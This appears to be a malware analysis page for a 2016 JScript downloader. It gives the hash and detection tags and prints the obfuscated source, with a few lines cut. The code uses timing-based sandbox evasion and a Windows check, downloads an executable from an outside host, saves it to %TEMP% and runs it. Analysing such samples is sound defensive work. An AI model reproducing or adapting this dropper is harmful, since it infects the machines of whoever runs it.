20160328_dbc5df76ae5065be0ea10ffc2d60438b.js
Downloads and executes remote payload
JScript conditional sleep jitter evasionWScript bracket-member access in source text
SHA-2563ee833631631a2513dfa50001d97801734978b6d6567b4db3f01c55d4cd4bc16
Evidence
1var Icwxazuui = false;
2var Wvmng = "CreateObject";
3var Aofqy = function Svqxy() {return WScript[Wvmng]("WScript.Shell");}();
4var Ilalhrlb = 123213;
5var Wcusoxxd = "MSXML2.XMLHTTP";
6var Quaqe = 2123213;
7var Kicyn = 0;
8function Ashfuoeh(Slhqje){Aofqy["Run"](Slhqje, Kicyn, Kicyn);};
9function Lwhjjlewfl(){return Wcusoxxd;};
10function Peimw(Vbsdq, Wcdvs){return Vbsdq - Wcdvs;};
11function Fstsmpgwdt(){return Wvmng;};
12/*@cc_on
13 @if (@_win32 || @_win64)
14 Icwxazuui = true;
15 @end
16@*/
17var Etlflapzn = "";
18if (Icwxazuui)
19{
20function Vwedk(){return 22;};
21var Zowpd = 0; var Sqwjfopwt = 0;
22function Feace()
23{
24var Pcvuglb = new this["Date"]();
25var Guamz = Pcvuglb["getUTCMilliseconds"]();
26WScript["Sleep"](Vwedk());
27var Pcvuglb = new this["Date"]();
28var Iduzgrhsvo = Pcvuglb["getUTCMilliseconds"]();
29WScript["Sleep"](Vwedk());
30var Pcvuglb = new this["Date"]();
31var Nkwoutph = Pcvuglb["getUTCMilliseconds"]();
32var Zowpd = "Cwcoigp";
33Zowpd = Peimw(Iduzgrhsvo, Guamz);
34var Sqwjfopwt = "Uufqxepxfx";
35Sqwjfopwt = Peimw(Nkwoutph, Iduzgrhsvo);
36Etlflapzn = "open";
37return Peimw(Zowpd, Sqwjfopwt);
38}
39var Wsxzchs = false;
40var Bgrfqrzjs = false;
41for (var Fcymyjrlqx = Kicyn; Fcymyjrlqx < Vwedk() * 1; Fcymyjrlqx++){if (Feace() != Kicyn){
42Wsxzchs …
49:6… sxzchs && Bmaca() && Bgrfqrzjs){
50function Rsievbnmis() {return Aofqy["ExpandEnvironmentStrings"]("%TEMP%/") + "QHu9Ze0qSDMRxF.exe";};
51 Efpsu = Lwhjjlewfl();
52 Mydlyg = WScript[Wvmng](Efpsu);
53 var Awcwviyw = 1;
54 while (Awcwviyw){
55try {
56Mydlyg[Etlflapzn]("GET", "http://themesbin.com/k9sjaf", false);
57Mydlyg["send"]();
58Iwhccrtp = "Sleep";
59do {WScript[Iwhccrtp](Vwedk() * 11)} while (Mydlyg["readystate"] < 4 );
60Awcwviyw = Kicyn;
61} catch(Tsbcprefl){Awcwviyw = ("asdfa", "fadfasdf", "afdafa", 2);};
62}
63function Lyovruxv(Rpjzvlt) {var Dqmmif = (1, 2, 3, 4, 5, Rpjzvlt); return Dqmmif;};
64Qtdqaxo = WScript[Fstsmpgwdt()]("ADODB.Stream");
65Efpsu = Qtdqaxo;
66Efpsu[Etlflapzn]();
67Efpsu["type"] = Lyovruxv(1);
68Efpsu["write"](Mydlyg["ResponseBody"]);
69Qtdqaxo["position"] = Lyovruxv(Kicyn);
70Efpsu["SaveToFile"](Rsievbnmis(), Lyovruxv(2) );
71Qtdqaxo["close"]();
72Ashfuoeh(Rsievbnmis());
73}
74}
75